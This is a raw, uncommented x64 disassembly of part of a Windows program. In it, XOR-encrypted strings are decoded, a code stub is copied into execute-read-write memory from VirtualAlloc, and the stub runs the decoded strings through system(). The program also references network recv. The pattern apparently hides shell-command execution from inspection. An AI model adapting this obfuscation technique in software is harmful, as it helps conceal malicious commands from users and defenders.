jne 0x1400e2bcd
jmp 0x1400e2bf7
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400e2ce6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e2c1e
mov r8, r14
jmp 0x1400e2cb7
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e2c31
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x220]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], rbx
mov edx, 5
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rcx, [rbp + 0x23d0]
call fcn.140003720
nop
lea rcx, [rbp + 0x21d8]
jmp 0x1400e5cb5
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400e2e37
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e2d6f
mov r8, r14
jmp 0x1400e2e08
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e2d82
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x228]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], rbx
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
lea rcx, [rbp + 0x1e60]
call fcn.1400d6d0c
mov r14, rax
mov edx, 4
lea rcx, [rbp + 0x1f20]
call fcn.1400d6d0c
mov r10, rax
movups xmm0, xmmword [0x1401526f8]
movups xmmword [rbp + 0xf78], xmm0
movups xmm1, xmmword [0x140152708]
movups xmmword [rbp + 0xf88], xmm1
movsd xmm0, qword [0x140152718]
movsd qword [rbp + 0xf98], xmm0
mov ecx, dword [0x140152720]
mov dword [rbp + 0xfa0], ecx
movzx eax, word [0x140152724]
mov word [rbp + 0xfa4], ax
mov al, byte [0x140152726]
mov byte [rbp + 0xfa6], al
xor r8d, r8d
lea r9, [rbp + 0xf78]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x2f
jl 0x1400e2eeb
mov r8, r10
lea rdx, [rbp + 0xf78]
lea rcx, [rbp + 0x2080]
call fcn.1400011f0
nop
lea r8, [0x140153534]
mov rdx, rax
lea rcx, [rbp + 0x20a0]
call fcn.140001190
nop
mov r9, r14
mov r8, rax
mov dl, byte [rsp + 0x30]
lea rcx, [rbp + 0x10f8]
call fcn.140002180
nop
lea rax, [rbp + 0x10f8]
cmp qword [rbp + 0x1110], 0xf
cmova rax, qword [rbp + 0x10f8]
mov qword [rbp + 0x230], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f8], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x400], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0x408], rax
mov r14, qword [rax]
xor r14, rcx
mov qword [rbp + 0x3f8], r14
and qword [rax], 0
xor ecx, ecx
mov rax, qword [0x140173480]
test rax, rax
je 0x1400e3001
xor r8d, r8d
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400e2ff0
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x173480]
test rax, rax
jne 0x1400e2fd7
jmp 0x1400e3001
mov r8, qword [rdx + r8*8 + 0x1737a0]
test r8, r8
jne 0x1400e30ec
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400e30bd
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e3037
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140173470]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x173480], rdx
mov qword [rcx + rax*8 + 0x1737a0], r8
inc rax
mov qword [0x140173470], rax
lea rdx, [rbp + 0x230]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor r14, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], r14
lea rcx, [rbp + 0x10f8]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x20a0]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x2080]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x1f20]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x1e60]
call fcn.140002aa4
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
lea rcx, [rbp + 0x1ea0]
call fcn.1400d6d0c
mov r14, rax
mov edx, 4
lea rcx, [rbp + 0x1e80]
call fcn.1400d6d0c
mov r10, rax
movups xmm0, xmmword [0x140152728]
movups xmmword [rbp + 0xfa8], xmm0
movups xmm1, xmmword [0x140152738]
movups xmmword [rbp + 0xfb8], xmm1
movsd xmm0, qword [0x140152748]
movsd qword [rbp + 0xfc8], xmm0
mov ecx, dword [0x140152750]
mov dword [rbp + 0xfd0], ecx
movzx eax, word [0x140152754]
mov word [rbp + 0xfd4], ax
mov al, byte [0x140152756]
mov byte [rbp + 0xfd6], al
xor r8d, r8d
lea r9, [rbp + 0xfa8]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x2f
jl 0x1400e31dc
mov r8, r10
lea rdx, [rbp + 0xfa8]
lea rcx, [rbp + 0x1e40]
call fcn.1400011f0
nop
lea r8, [0x140153534]
mov rdx, rax
lea rcx, [rbp + 0x20c0]
call fcn.140001190
nop
mov r9, r14
mov r8, rax
mov dl, byte [rsp + 0x30]
lea rcx, [rbp + 0x1118]
call fcn.140002180
nop
lea rax, [rbp + 0x1118]
cmp qword [rbp + 0x1130], 0xf
cmova rax, qword [rbp + 0x1118]
mov qword [rbp + 0x238], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x418], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0x420], rax
mov r14, qword [rax]
xor r14, rcx
mov qword [rbp + 0x410], r14
and qword [rax], 0
xor ecx, ecx
mov rax, qword [0x140173480]
test rax, rax
je 0x1400e32f2
xor r8d, r8d
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400e32e1
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x173480]
test rax, rax
jne 0x1400e32c8
jmp 0x1400e32f2
mov r8, qword [rdx + r8*8 + 0x1737a0]
test r8, r8
jne 0x1400e33dd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400e33ae
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e3328
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140173470]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x173480], rdx
mov qword [rcx + rax*8 + 0x1737a0], r8
inc rax
mov qword [0x140173470], rax
lea rdx, [rbp + 0x238]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor r14, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], r14
lea rcx, [rbp + 0x1118]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x20c0]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x1e40]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x1e80]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x1ea0]
call fcn.140002aa4
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
lea rcx, [rbp + 0x2060]
call fcn.1400d6d0c
mov r14, rax
mov edx, 4
lea rcx, [rbp + 0x2100]
call fcn.1400d6d0c
mov r10, rax
movups xmm0, xmmword [0x140152758]
movups xmmword [rbp + 0xf48], xmm0
movups xmm1, xmmword [0x140152768]
movups xmmword [rbp + 0xf58], xmm1
movsd xmm0, qword [0x140152778]
movsd qword [rbp + 0xf68], xmm0
mov ecx, dword [0x140152780]
mov dword [rbp + 0xf70], ecx
movzx eax, word [0x140152784]
mov word [rbp + 0xf74], ax
mov al, byte [0x140152786]
mov byte [rbp + 0xf76], al
xor r8d, r8d
lea r9, [rbp + 0xf48]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x2f
jl 0x1400e34cd
mov r8, r10
lea rdx, [rbp + 0xf48]
lea rcx, [rbp + 0x1ee0]
call fcn.1400011f0
nop
lea r8, [0x140153534]
mov rdx, rax
lea rcx, [rbp + 0x1ec0]
call fcn.140001190
nop
mov r9, r14
mov r8, rax
mov dl, byte [rsp + 0x30]
lea rcx, [rbp + 0x1138]
call fcn.140002180
nop
lea rax, [rbp + 0x1138]
cmp qword [rbp + 0x1150], 0xf
cmova rax, qword [rbp + 0x1138]
mov qword [rbp + 0x240], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x428], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x430], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0x438], rax
mov r14, qword [rax]
xor r14, rcx
mov qword [rbp + 0x428], r14
and qword [rax], 0
xor ecx, ecx
mov rax, qword [0x140173480]
test rax, rax
je 0x1400e35e3
xor r8d, r8d
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400e35d2
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x173480]
test rax, rax
jne 0x1400e35b9
jmp 0x1400e35e3
mov r8, qword [rdx + r8*8 + 0x1737a0]
test r8, r8
jne 0x1400e36ce
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400e369f
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e3619
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140173470]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x173480], rdx
mov qword [rcx + rax*8 + 0x1737a0], r8
inc rax
mov qword [0x140173470], rax
lea rdx, [rbp + 0x240]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor r14, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], r14
lea rcx, [rbp + 0x1138]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x1ec0]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x1ee0]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x2100]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x2060]
call fcn.140002aa4
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
lea rcx, [rbp + 0x1fe0]
call fcn.1400d6d0c
mov r14, rax
mov edx, 4
lea rcx, [rbp + 0x2000]
call fcn.1400d6d0c
mov r10, rax
movups xmm0, xmmword [0x140152788]
movups xmmword [rbp + 0xf18], xmm0
movups xmm1, xmmword [0x140152798]
movups xmmword [rbp + 0xf28], xmm1
movsd xmm0, qword [0x1401527a8]
movsd qword [rbp + 0xf38], xmm0
mov ecx, dword [0x1401527b0]
mov dword [rbp + 0xf40], ecx
movzx eax, word [0x1401527b4]
mov word [rbp + 0xf44], ax
mov al, byte [0x1401527b6]
mov byte [rbp + 0xf46], al
xor r8d, r8d
lea r9, [rbp + 0xf18]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x2f
jl 0x1400e37be
mov r8, r10
lea rdx, [rbp + 0xf18]
lea rcx, [rbp + 0x2020]
call fcn.1400011f0
nop
lea r8, [0x140153534]
mov rdx, rax
lea rcx, [rbp + 0x2040]
call fcn.140001190
nop
mov r9, r14
mov r8, rax
mov dl, byte [rsp + 0x30]
lea rcx, [rbp + 0x10b8]
call fcn.140002180
nop
lea rax, [rbp + 0x10b8]
cmp qword [rbp + 0x10d0], 0xf
cmova rax, qword [rbp + 0x10b8]
mov qword [rbp + 0x248], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x440], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x448], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0x450], rax
mov r14, qword [rax]
xor r14, rcx
mov qword [rbp + 0x440], r14
and qword [rax], 0
xor ecx, ecx
mov rax, qword [0x140173480]
test rax, rax
je 0x1400e38d4
xor r8d, r8d
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400e38c3
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x173480]
test rax, rax
jne 0x1400e38aa
jmp 0x1400e38d4
mov r8, qword [rdx + r8*8 + 0x1737a0]
test r8, r8
jne 0x1400e39bf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400e3990
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e390a
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140173470]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x173480], rdx
mov qword [rcx + rax*8 + 0x1737a0], r8
inc rax
mov qword [0x140173470], rax
lea rdx, [rbp + 0x248]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor r14, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], r14
lea rcx, [rbp + 0x10b8]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x2040]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x2020]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x2000]
call fcn.140002aa4
nop
lea rcx, [rbp + 0x1fe0]
call fcn.140002aa4
movups xmm0, xmmword [0x1401527b8]
movups xmmword [rbp + 0x1348], xmm0
movups xmm1, xmmword [0x1401527c8]
movups xmmword [rbp + 0x1358], xmm1
movups xmm0, xmmword [0x1401527d8]
movups xmmword [rbp + 0x1368], xmm0
mov eax, dword [0x1401527e8]
mov dword [rbp + 0x1378], eax
movzx eax, word [0x1401527ec]
mov word [rbp + 0x137c], ax
mov al, byte [0x1401527ee]
mov byte [rbp + 0x137e], al
xor r8d, r8d
lea r9, [rbp + 0x1348]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x37
jl 0x1400e3a7e
lea rax, [rbp + 0x1348]
mov qword [rbp + 0x250], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x458], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x460], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0x468], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x458], rbx
and qword [rax], 0
xor ecx, ecx
mov rax, qword [0x140171b40]
lea r14, [0x140000000]
test rax, rax
je 0x1400e3b3f
xor r8d, r8d
lea rdx, [0x140001250]
cmp rax, rdx
je 0x1400e3b2e
inc ecx
mov r8d, ecx
mov rax, qword [r14 + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400e3b15
mov r8, qword [r14 + r8*8 + 0x171e60]
test r8, r8
jne 0x1400e3c23
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400e3bfb
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e3b75
mov rax, qword [0x140171b30]
lea rcx, [0x140001250]
mov qword [r14 + rax*8 + 0x171b40], rcx
mov qword [r14 + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x250]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], rbx
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x20e0]
call fcn.1400d6d0c
mov r10, rax
movups xmm0, xmmword [0x1401527f0]
movups xmmword [rbp + 0x1458], xmm0
movups xmm1, xmmword [0x140152800]
movups xmmword [rbp + 0x1468], xmm1
movups xmm0, xmmword [0x140152810]
movups xmmword [rbp + 0x1478], xmm0
movzx ecx, word [0x140152820]
mov word [rbp + 0x1488], cx
mov al, byte [0x140152822]
mov byte [rbp + 0x148a], al
xor r8d, r8d
lea r9, [rbp + 0x1458]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x33
jl 0x1400e3cb5
call fcn.140002b24
nop
lea rcx, [rbp + 0x21a0]
call fcn.140002aa4
movabs rdx, 0xff00ff00ff00ff00
jmp 0x1400d9bc2
mov eax, dword [0x140153530]
mov dword [rbp - 0x3c], eax
cmp byte [0x140153533], r14b
je 0x1400e5d1f
mov r8d, r14d
lea r9, [rbp - 0x3c]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 4
jl 0x1400e5cef
lea rax, [rbp - 0x3c]
mov qword [rbp + 0x2d0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdi, [rbp + 0x2ce8]
movabs r13, 0xff00ff00ff00ff00
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rdi
mov rbx, qword [rdi]
xor rbx, r13
mov qword [rsp + 0x58], rbx
mov qword [rdi], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
lea rsi, [0x140000000]
lea r12, [0x140001250]
test rax, rax
je 0x1400e5da5
mov r8, r14
cmp rax, r12
je 0x1400e5d94
inc ecx
mov r8d, ecx
mov rax, qword [rsi + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400e5d7b
jmp 0x1400e5da5
mov r8, qword [rsi + r8*8 + 0x171e60]
test r8, r8
jne 0x1400e5e7e
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e5dcc
mov r8, r14
jmp 0x1400e5e5d
mov rax, r12
mov rcx, r8
mov edx, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
